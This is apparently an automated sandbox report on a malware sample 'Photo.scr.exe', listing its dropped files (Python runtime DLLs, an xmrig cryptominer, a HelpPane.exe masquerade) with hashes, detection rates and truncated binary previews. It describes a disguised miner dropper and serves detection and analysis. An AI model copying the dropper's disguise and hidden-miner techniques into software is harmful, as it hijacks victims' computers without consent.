Antivirus:	Antivirus: ReversingLabs, Detection: 7%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..................6.........!.R...7.....&.....0.....6.....3...Rich..........PE..L.....M...........!.....@.......0..0f...@........Rx......................................@.........................@....\|.....x....................................................................r..H...........................................UPX0.....0..............................UPX1.....@...@...4..................@....rsrc................8..............@..............................................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Users\user\AppData\Local\Temp\_MEI69002\netifaces.pyd

Download File

Process:	C:\Users\user\Desktop\Photo.scr.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	11264
Entropy (8bit):	7.145184945732974
Encrypted:	false
SSDEEP:	192:uKqSCMOF44HPPtLm+9a3ozToPmzYUaFaNJhLkwcud2DH9VwGfctH:ubS9s44vPtLR9aUPJ+aNJawcudoD7U
MD5:	C7807680A69196C3EE66C4CFB3E271AC
SHA1:	D3EA74C9E3B810C6A1EE4296B97E20F2F45C9461
SHA-256:	1A6C57AC8031582477B1D3463A65B6EB006EEA704E27C8C4B812B99EA910428D
SHA-512:	A5D893132AD889E98B434DA7FD5CA377AFB1800FD8D3230CCED5E9FDE576FCEC943DD22FA48810BA6D93C510EBAA8AC5A94EC1B9D639FD6C533C5BBD4737CF15
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......FL...-...-...-...U...-...U...-...-..J-...U...-...U...-...U...-...U...-..Rich.-..........................PE..L...,.-\...........!.....0.......P...x...`..........................................................................4...P.......4...................................................................p...H...........................................UPX0.....P..............................UPX1.....0...`...&..................@...UPX2.................*..............@......................................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Users\user\AppData\Local\Temp\_MEI69002\perfmon.pyd

Download File

Process:	C:\Users\user\Desktop\Photo.scr.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	11264
Entropy (8bit):	6.948652527580434
Encrypted:	false
SSDEEP:	192:0xeSnTQM3MsUjU+viJBctKiyiLKPfFaNJhLkwcud2DH9VwGfct0XlpoI6J:0xe4R3scJBcMWYdaNJawcudoD7UmlSI
MD5:	EE813500A441B5FFDACD853E95BEE669
SHA1:	7F05F1493380AF3FE08F55524F6FF90C47C0CC4D
SHA-256:	AC491704AF920BE0E503F0243D2D371E230622E213E9F082347B52C0A7B009C2
SHA-512:	060D079A93ADD067EB062D2B1CB9977719BE68AE1223B0219DBB14CC9C6C66FF47D9929945636B577BC7F1BB84D5500B88ACD5F7BF636CC63BD4C88534AF724E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........0...c...c...c..9c...c.gc...c.qc...c.ac...c...c...c.vc...c.`c...c.cc...cRich...c................PE..L...C..[...........!.....0.......`.......p........n.................................................................t...L...P...$.......P...............................................................H...........................................UPX0.....`..............................UPX1.....0...p..."..................@....rsrc................&..............@......................................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Users\user\AppData\Local\Temp\_MEI69002\psutil._psutil_windows.pyd

Download File

Process:	C:\Users\user\Desktop\Photo.scr.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	25600
Entropy (8bit):	7.700665778298437
Encrypted:	false
SSDEEP:	384:3qUURhEUVDrn5EMvG04YMJIoa67+5pGr0qLWMAUm7NFYGz45/+aNJawcudoD7ULt:aUjUXBjPAGHqLm7N/z4dnbcuyD7UL
MD5:	2FC800FCC46A597921C2ED447AEB09AC
SHA1:	72004227E5C60C8460F835A170798AA22861B79E
SHA-256:	2E4AD3D08118DA77C928C4614BFECB34397CFAF53F5D46D7C7E5F1DA3172C1F1
SHA-512:	A17022B364615B45A1873AEA0DE922A2988E4D75A8F4E63ECB9CA7DD46263E684B1F28B82BD77B046BBE2AD03CE65C5DACF98EACCAE861A30F137E0118A87225
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......E.6...X...X...X......X......X......X...Y...X......X......X......X.Rich..X.........PE..L...;b.\...........!.....`...................0...............................@.......................................2..\....0...............................2.......................................*..H...........................................UPX0....................................UPX1.....`.......\..................@...UPX2.........0.......`..............@......................................................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Users\user\AppData\Local\Temp\_MEI69002\pyexpat.pyd

Download File

Process:	C:\Users\user\Desktop\Photo.scr.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	52736
Entropy (8bit):	7.904524114628073
Encrypted:	false
SSDEEP:	1536:omazZr7ECJ0E6kFg85F/rFi2LU60XZlofDYq0nouy8:9aFr9mE6kF7hrcCU6Qlewout
MD5:	AD560121EFD8E249FC3414200D98F75F
SHA1:	73040F9BC04E733A85DA00E364EF85583F505636
SHA-256:	0BEB3B16F9A11F93137365A1179D2062A414ADABA337BCAC05A083A921775B50
SHA-512:	6DA2B01773DCE658DCFD9219DD8D093F60EAFF669ED600C9A62EFC39FB3E362F051A499FAC85777C1B8F364B1AD2E134E080CAE720FC5477711A7ED7F191A5C7
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........2.\...\...\......\......\......\......\...]..\......\......\......\.Rich..\.................PE..L...4>CX...........!................Pj....................................................@............................L...................................$.......................................(v..H...........................................UPX0....................................UPX1................................@...UPX2................................@......................................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Users\user\AppData\Local\Temp\_MEI69002\python27.dll

Download File

Process:	C:\Users\user\Desktop\Photo.scr.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	898048
Entropy (8bit):	7.990256946915668
Encrypted:	true
SSDEEP:	24576:I0cNEHSDC9XmwbTV/mv+nQW0mj7IaqtsoejWg3c:jHhmhmI9eo63
MD5:	8C44826A640B3CF0B32B0258C65FEE07
SHA1:	E3F9FE6366D0876BFA8B903B20D2ACF06416F1BC
SHA-256:	FBAD053D962BAC96865AC3372958D697711800FDC46F36C87011BB5E89026614
SHA-512:	884E2C01C088B9AE86D4605FED1CF8E9B17F99CF887EFC5644F4A91959ECD89148CCA3E9FDAA6AB9E8C4DFD2D61DBDFD442A95B13DAB7E5CD027B4782D473355
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 7%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......#..^g.y.g.y.g.y....~.y.n...l.y.n...i.y.n...e.y.n...l.y.g.x.[.y.n.....y.n...f.y.n...f.y.n...f.y.Richg.y.................PE..L... >CX...........!.....0.......0...Z..@...p...............................+...........@.........................pz.t\|..,y.D....p.,...........................................................f.H...........................................UPX0.....0..............................UPX1.....0...@...(..................@....rsrc........p......,..............@......................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Users\user\AppData\Local\Temp\_MEI69002\pywintypes27.dll

Download File

Process:	C:\Users\user\Desktop\Photo.scr.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	53248
Entropy (8bit):	7.425128830518154
Encrypted:	false
SSDEEP:	1536:eTwUerP24SfDRd2TACkwqyfnouy81cSPDuwQ0:eTleODRd2ew/Pout1cSru
MD5:	07B436BFA1C7B4FFC21FB39358158060
SHA1:	7F5A47CDAB9A7D93BBBD204CEDFFCA61D3F80C84
SHA-256:	82C2926CB03A04392FA479801D505E2A387446BCA978FF930177121DB2FDB461
SHA-512:	13EBCB83F478C859CA808003933769B84290E108648B69F33043653263C5B4BD37ED5CA8D521B46A1D9122EB232F7E5D05A25E16F250D5573CF85CD5CDEFB2EF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......qz.Y5...5...5....Tz.7...+Iy.6...+Io.8.....".4...+I..1.....'.>...5.......+Ih.$...+I~.4...+I}.4...Rich5...................PE..L...:..[...........!.........P............... ....z..........................p.......................................%..PJ..h#....... ..h...................Po..........................................H...........................................UPX0....................................UPX1.............\|..................@....rsrc....P... ...P..................@......................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Users\user\AppData\Local\Temp\_MEI69002\select.pyd

Download File

Process:	C:\Users\user\Desktop\Photo.scr.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	9216
Entropy (8bit):	7.003407892450472
Encrypted:	false
SSDEEP:	192:qhogHS4TaqZXRQKKXYVEvySc3IFaNJhLkwcud2DH9VwGfctX:qhLS4TaqxhfCHc38aNJawcudoD7U
MD5:	57EB00056AC8C38CD4F3153FB9507F13
SHA1:	DDEE8E74FCC81B6301145F27C0F1CCF4B9185E1C
SHA-256:	7B90EC138AC8415D9B747612063D19147FEC2B1E99DE97C3B5636E8CA40B346E
SHA-512:	05F7EF6BD065D7DB3F41DFA95187FA40A14F58FA5D4705F2DF5982DB18EEB6D4E93C473D05932436BF645E76E0B23532867011E92EF953EC247B55648ED9C6EF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........i)...z...z...z...z...z...z...z...z...z...z...z...z...z...z...z...z...z...z...zRich...z........PE..L...5>CX...........!..... .......P..pq...`................................................@.............................H...................................H.......................................P}..H...........................................UPX0.....P..............................UPX1..... ...`......................@...UPX2................."..............@..............................................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Users\user\AppData\Local\Temp\_MEI69002\servicemanager.pyd

Download File

Process:	C:\Users\user\Desktop\Photo.scr.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	7.2228399102917615
Encrypted:	false
SSDEEP:	384:FVtYwprbL7fLBtdYzKNg13ZOPaNJawcudoD7UfMX:vawBbLFYzKNg1plnbcuyD7UfMX
MD5:	6A95BCF45E4BE23CC2634EF5BAD17660
SHA1:	7D13B791588CB800C2ADD75FF8E74C3C493A8143
SHA-256:	60DA4B4E628B7DC1115615128AC554AEB29B50A61629AD5AEEB5CC9D2BD86202
SHA-512:	D3C80B025647444F42D42E82CAD50C4383728F7F8C9E16AA9D87450CA864B0B97B5F8F47E80328A4A2B67CE7D06C9A8F1DAE8C5B3C798DE1B2A50164161E69C8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........o....K...K...K...K...K...K...K...K...KR..K...K...K...K...K...K...K...K...K...K...K...KRich...K........................PE..L......[...........!.....@........................}.....................................................................\...........................................................................h...H...........................................UPX0....................................UPX1.....@.......4..................@....rsrc................8..............@......................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Users\user\AppData\Local\Temp\_MEI69002\unicodedata.pyd

Download File

Process:	C:\Users\user\Desktop\Photo.scr.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	181760
Entropy (8bit):	7.989160583257678
Encrypted:	false
SSDEEP:	3072:Rfe2dO8KvTdjKGssSXwgtXZT32qenyxHBKs//4wd3RP29sZ6lI883out:Rfe2bKvEw+k2kw/4wZRPS3coS
MD5:	9A465CFAA788E29E7B1366C012EBC75C
SHA1:	10D9C49BB6652D9B04E17608D9ED35B036112647
SHA-256:	35C84D824DB175DD71046806A59BC711021ABCE04698FA304B1E2A9855E50A9C
SHA-512:	31BEE259C78CEB1E4F5C52E7B2CBD0EB62A071FC9C748DF47AB824E383EFDC3B218168700341B96D139DABFB3E4D7644341F22E52982B7C7F135A9E35B300B00
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......{H..?).?).?).6QE.=).6QS.1).6QT.=).6QC.8).?)..).6QY.>).6QB.>).6QA.>).Rich?).................PE..L...6>CX...........!......................................................................@.............................T...................................,.......................................x...H...........................................UPX0....................................UPX1................................@...UPX2................................@......................................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Users\user\AppData\Local\Temp\_MEI69002\win32api.pyd

Download File

Process:	C:\Users\user\Desktop\Photo.scr.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	34816
Entropy (8bit):	7.794879575971907
Encrypted:	false
SSDEEP:	768:etKTLIw2eRBsqBvKddE/wW68vEvfW2qmSOyinbcuyD7Uqmx:DCeLrGderDH2FXyinouy8qmx
MD5:	42C475231F4835BB1A5F94B0D3DA4520
SHA1:	FCFAE296DD10C92D973A57D61BBF5C0F4A15ED6B
SHA-256:	87CEEB1B7586DB730F48988A07018F9C8AF57934FF7F173A869542207F46B0F1
SHA-512:	D1A699B8497E8843F990F6F719A904A7751FE2A9404CB195BE2D94341728A7372CD93D379B576E6031980E1DA53F2336805C6BF59E799B63565CD63D4931C02A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......[-..L...L...L.......L.......L.......L...J..L...L..UM.......L.......L.......L..Rich.L..................PE..L......[...........!.............p.. ...............................................................................P.......X...........X...............................................................H....................B..@...................UPX0.....p..............................UPX1.............~..................@....rsrc...............................@......................................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Users\user\AppData\Local\Temp\_MEI69002\win32event.pyd

Download File

Process:	C:\Users\user\Desktop\Photo.scr.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	11264
Entropy (8bit):	6.799438399701252
Encrypted:	false
SSDEEP:	192:jNxmpzSvHU53Uon53eXqY1K/CjrELQc432Xq0FaNJhLkwcud2DH9VwGfctLj/t:Xmp2/UR95aP1pgEc432XBaNJawcudoDU
MD5:	796306BE7A1ABCFFB8853EE9CEB5BEAE
SHA1:	93762CF53958A3A99B674986FCF3C53C489133ED
SHA-256:	26E6D883E9E61BF872425526A9B8C7BB229C3B9D2F82BB3C0BF500660DBE1995
SHA-512:	5919A837FA1FCAEA91B14D02DA306928D5E523E4591DCA290422C9EB9BE15F2EE626A8379F5C953F2B08E7A6B2CD67618652B9EFA9ACE8ABD47A8BD7CD8C2F64
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........k..{8..{8..{8..8..{8..8..{8..8..{8 ..8..{8..z8..{8..8..{8..8..{8..8..{8Rich..{8................PE..L...T..[...........!.....0..............................................................................................P...`...\.......`...........................................................h...H...........................................UPX0....................................UPX1.....0......."..................@....rsrc................&..............@......................................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Users\user\AppData\Local\Temp\_MEI69002\win32evtlog.pyd

Download File

Process:	C:\Users\user\Desktop\Photo.scr.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	19968
Entropy (8bit):	7.436093769968754
Encrypted:	false
SSDEEP:	384:Wo5FgP/m1xaGAONAt4ZvFqQggg3LgsAWUh31lA2W1waNJawcudoD7UGwGS:WmuP+TOONp5UQ/Zs8FlAfnbcuyD7UGwX
MD5:	317360BE68901D11F3D02AF1C151A4DC
SHA1:	570BF03BE1A737CF3D0CF3FC8E77261CF64E2051
SHA-256:	AC9C5C4BAA4DE19BDDF55313F29182F26EB80312C31266413672C61424A5C6E0
SHA-512:	25C25C23DD4FE1957CDFAD833D4570553C2627775008F3939525B6A3D1892F8B6CB7A9F20D454166338DF4DFC8A98306A1160016AE4CB2E9464944945AFA0A82
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........E..i+..i+..i+.E&...i+..;...i+..;...i+..;...i+.%...i+..i*.hi+..;...i+..;...i+..;...i+..;...i+.Rich.i+.................PE..L......[...........!.....P...................0...............................@.......................................4..T....3..P....0......................L5.......................................!..H.......................@...................UPX0....................................UPX1.....P.......D..................@....rsrc........0.......H..............@......................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Users\user\AppData\Local\Temp\_MEI69002\win32service.pyd

Download File

Process:	C:\Users\user\Desktop\Photo.scr.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	18432
Entropy (8bit):	7.513143648749714
Encrypted:	false
SSDEEP:	384:DvSTTJQxdZ3goCVdvSbw66apC1aNJawcudoD7U46:LSTT+1KF1onbcuyD7U46
MD5:	F23A62491BD945C050E3E1D13909E9E7
SHA1:	B8DAC4E00163533157A17E3B56D05E049A2375A2
SHA-256:	E52B5532A6764AAAE67DB557412B3F77EBDC8A14A72771A1C6414A83BB3FC15C
SHA-512:	52200CF9687752DB43BBAE703192C841694D5BD976FA56C0F25E0478CFB97681BC77677C1A8907167612DDF9FE6A561945FBEB0180022670AF97BF41B5B11766
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........[..[..[.....Z..E.-.Z..E.;.V..E.+.]...!s.\..[.....E.<.^..E.*.Z..E.,.Z..E.).Z..Rich[..........PE..L...q..[...........!.....@..........................................................................................8...T...............................................................................H...........................................UPX0....................................UPX1.....@.......>..................@....rsrc................B..............@..............................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Users\user\AppData\Local\Temp\_MEI69002\xmrig.exe

Download File

Process:	C:\Users\user\Desktop\Photo.scr.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	1905664
Entropy (8bit):	7.9235088812144
Encrypted:	false
SSDEEP:	49152:jeXVwyagUSymDH29F4+rthFTo6YZfnH8:0VKgUSymDH29ttzToX1nc
MD5:	13BDD9CD9F7E51746172996262B5A873
SHA1:	3834F8179ABD7A827E927505F3C226AC8BBCF3EE
SHA-256:	4BF737B29FF521BC263EB1F2C1C5EA04B47470CCCD1BEAE245D98DEF389929BD
SHA-512:	49879918505D042312F20B2FC8310A8C4A58AA266ED1AB05E0481F7E11385DA0920CF9D756F842EB98E4394F14725385B74A99B38FC8A60222FA4CC873CB8040
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: C:\Users\user\AppData\Local\Temp\_MEI69002\xmrig.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 75%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....\.....................`...0>...Z..@>...[...@..........................`[............... ...................... X.x....][.<.....[..]....................................................Z.....................................................UPX0.....0>.............................UPX1.........@>.....................@....rsrc....`....[..`..................@...3.94.UPX!....E.G...@.`.Z.....$Z.$/.w.......&...'....1.f.=.@9....MZ..,......($..#...th.....82..tJ......$.,./,......+.l..Ho..~B.......:..6....L.=Dc..tm....-<h....f..<2...u..?PEl..u..Q....-l..~?....j..x.......]...........K".v.g?w...k+...yt`,........o..7>,. ..D$...............7......b..0.{..,.~...[U......WV.U.S..\|.0~....+..).b.........@....................5.o.E.....d....x....l0.9..9...3....o._..........=...u...;.v.f...R..0..`.lm...--...I...X/(......9J9..~?.v...&+.. P.kSn.l......LJ...

C:\Users\user\HelpPane.exe

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6227230
Entropy (8bit):	7.992598665726903
Encrypted:	true
SSDEEP:	98304:RLNSThOfTCiFBXmfFs+JhTpCVoR8oMEOJ6Ty3RvX+A0eVObApY:bBfTCiUsBVSLOJgyBG3KTp
MD5:	CA1FB1AD30189110CC225620DC537368
SHA1:	BFC2DE8F0B376A6F1FF1930A4F261709A27E92EC
SHA-256:	3FDE84A46AEA58BA4DDB5FB0473FC756FF209BA96B1A63A2759D13B8ADC01A69
SHA-512:	11737F00AC297040B40CFE6879B695C9900B6B2A691E0B4E12C190ED9918179D0B7A76415D67368D3767F7D357E1C0DF202AF618964986F72DCBAC7BFD5ACE17
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 84%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........hZ............,Y......,Y..4...,Y..............................E:......................................Rich............................PE..L......[.........."..................y............@.......................................@.................................\...P......................................................................@............................................text...4........................... ..`.rdata..d...........................@..@.data...............................@....gfids..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................

C:\Users\user\HelpPane.exe:Zone.Identifier

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Reputation:	unknown
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\Temp\_MEI60722\Crypto.Cipher._AES.pyd

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	7.553130526678379
Encrypted:	false
SSDEEP:	384:50Q1C9jViLl7hDB6n/PtHU2wr8gj93KqmilaNJawcudoD7U:dC8LU/PBU8itClnbcuyD7U
MD5:	371397E80A55D432DA47311B8EF25317
SHA1:	71617777D6A2500D6464D7B394C8BE5F1E4E119E
SHA-256:	C1A900615C9500C46B9602C30C53F299290B03632208EF1152AF8830AB73AD17
SHA-512:	3139E2848ACF02CC8475449F213873D2C2B7196F6A55C70D2D8F8B487020387740364E5CA0AA584624D1B9B01B965146A2F0E15EEF34830C7C0ECBB8637DAE03
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........+\8.J2k.J2k.J2k.Ik.J2k...k.J2k...k.J2k...k.J2k.2.k.J2k.J3k.J2k...k.J2k...k.J2k...k.J2kRich.J2k........PE..L....4.S...........!.....@..........`...................................................................................D...........................................................................8...H...........................................UPX0....................................UPX1.....@.......:..................@...UPX2.................>..............@......................................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Windows\Temp\_MEI60722\Include\pyconfig.h

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	C source, ASCII text
Category:	dropped
Size (bytes):	21321
Entropy (8bit):	5.345136937906198
Encrypted:	false
SSDEEP:	384:pGpFpaU1kgCw8r+MIP8Bj5DvVySh3awQBoerw8W+PYV0FGYfN/+:pGpFpb+IU99UShATrw8W+AKF/+
MD5:	BC185DE8B2437963368A85FDD9852951
SHA1:	1459F1428214FCCA7F203FB3A3AFF28E16EB9C1B
SHA-256:	8B130D901E0F83B55699D565F103F2F8F1B3A51712EBB4B9646EA517CC1F04D6
SHA-512:	918469D9A59FE059F3C7C93F34C8D2D07CB8A9BF5E953A1527922ED5C65FF4A2DF50BBC78ED9CE146BF3A1FB6F1763F061262FA4A937BEEEE1FEB8A99E31339E
Malicious:	false
Reputation:	unknown
Preview:	#ifndef Py_CONFIG_H.#define Py_CONFIG_H../* pyconfig.h. NOT Generated automatically by configure...This is a manually maintained version used for the Watcom,.Borland and Microsoft Visual C++ compilers. It is a.standard part of the Python distribution...WINDOWS DEFINES:.The code specific to Windows should be wrapped around one of.the following #defines..MS_WIN64 - Code specific to the MS Win64 API.MS_WIN32 - Code specific to the MS Win32 (and Win64) API (obsolete, this covers all supported APIs).MS_WINDOWS - Code specific to Windows, but all versions..MS_WINCE - Code specific to Windows CE.Py_ENABLE_SHARED - Code if the Python core is built as a DLL...Also note that neither "_M_IX86" or "_MSC_VER" should be used for.any purpose other than "Windows Intel x86 specific" and "Microsoft.compiler specific". Therefore, these should be very rare....NOTE: The following symbols are deprecated:.NT, USE_DL_EXPORT, USE_DL_IMPORT, DL_EXPORT, DL_IMPORT.MS_CORE_DLL...WIN32 is still required for the

C:\Windows\Temp\_MEI60722\Microsoft.VC90.CRT.manifest

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1050
Entropy (8bit):	5.382436822526041
Encrypted:	false
SSDEEP:	24:2dtn3mGv+zg4NnEN4XKHVJrMmV6LSWV5rcb3S:ch35+zg4i0KHVVdOmS
MD5:	BFB93876892CCA8E2AD0021585C34C8B
SHA1:	0DDE1B225C98825A09D8FF85F462571C9C862E35
SHA-256:	0D060ED7C25159B7B75F16D449963BFD639C15B3C5280BC7897403268C2B9F35
SHA-512:	FE70540B3B3FA88B32DFB2FF7406A3A9819E7862B850D871B932996BBEFFDBC70D7192D6E3196A8583B2DB756CA9CC278505AFBE585BA30EB1222D4F8BE15B7B
Malicious:	false
Reputation:	unknown
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<assembly manifestVersion="1.0" xmlns="urn:schemas-microsoft-com:asm.v1">.. <noInheritable/>.. <assemblyIdentity name="Microsoft.VC90.CRT" processorArchitecture="x86" publicKeyToken="1fc8b3b9a1e18e3b" type="win32" version="9.0.30729.6161"/>.. <file hash="7021457b391b35606e708c69987e4b6f606609ee" hashalg="SHA1" name="msvcr90.dll"/>.. <file hash="88549dd3ce8eaa62ca8aad0e96ddd9fec2203628" hashalg="SHA1" name="msvcp90.dll"/>.. <file hash="65ef374affa5b48827e539b35b3275c201b41fc9" hashalg="SHA1" name="msvcm90.dll"/>.. <compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1">.. <application>.. <supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"/>.. <supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"/>.. <supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/>.. <supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/>.. <supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}"/>..

C:\Windows\Temp\_MEI60722\_ctypes.pyd

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	37888
Entropy (8bit):	7.848484052157707
Encrypted:	false
SSDEEP:	768:pAXLisB/qV2nQnf33sWcCRWKZac3VWw6cLA3zReukhRnbcuyD7U:pAnBi8nQf3sYToclt6cLUCRnouy8
MD5:	6CB8B560EFBC381651D2045F1571D7C8
SHA1:	15283A7A467ADB7B6D7A7182F660DD783F90E483
SHA-256:	6456FEA123E04BCEC8A8EED26160E1DF5482E69D187D3E1A0C428995472AC134
SHA-512:	CA2958095E8E08B5EF05EC9DE15B7D1EB180923A40B90356DB56A124101C96D8E745001948B89DBE9D6B9CE3C2029F7E9EAF20C73FA1D410A821D6605830BFC0
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...................F.....W.....P......@..........Z.....A.....B...Rich..................PE..L...*>CX...........!............. .. ....0................................................@.........................<...........<.......................................................................H...........................................UPX0..... ..............................UPX1.........0......................@...UPX2................................@......................................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Windows\Temp\_MEI60722\_hashlib.pyd

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	351744
Entropy (8bit):	7.996557276168139
Encrypted:	true
SSDEEP:	6144:Xh0byJKrtKOFhjnTtMoy8gpVI/xxWo/nX0NKOzyGFmJ559Vq2SeTsRgIIGYMowwZ:2bymtjF1TtMod/xweDK7FmJ5rLVYTIGm
MD5:	EE134421FBABEB565E4F3CA721331C2E
SHA1:	4B03BDD142C6A7BB6F74ABE968C5B76B63E06059
SHA-256:	7863E1BEDFE1FFC720B67B2EB7B3491DB9D2B8E56B5574E6A40FF90336B8DAFA
SHA-512:	D27FF65B6A8BF2E5E70D2865E72EEE6930E76C2A3990428C54FC998743D3C540C5C984B5D1429E8FFBE3D160AE1F6782CD6D3CA40822F81D2052BA168595D1FA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
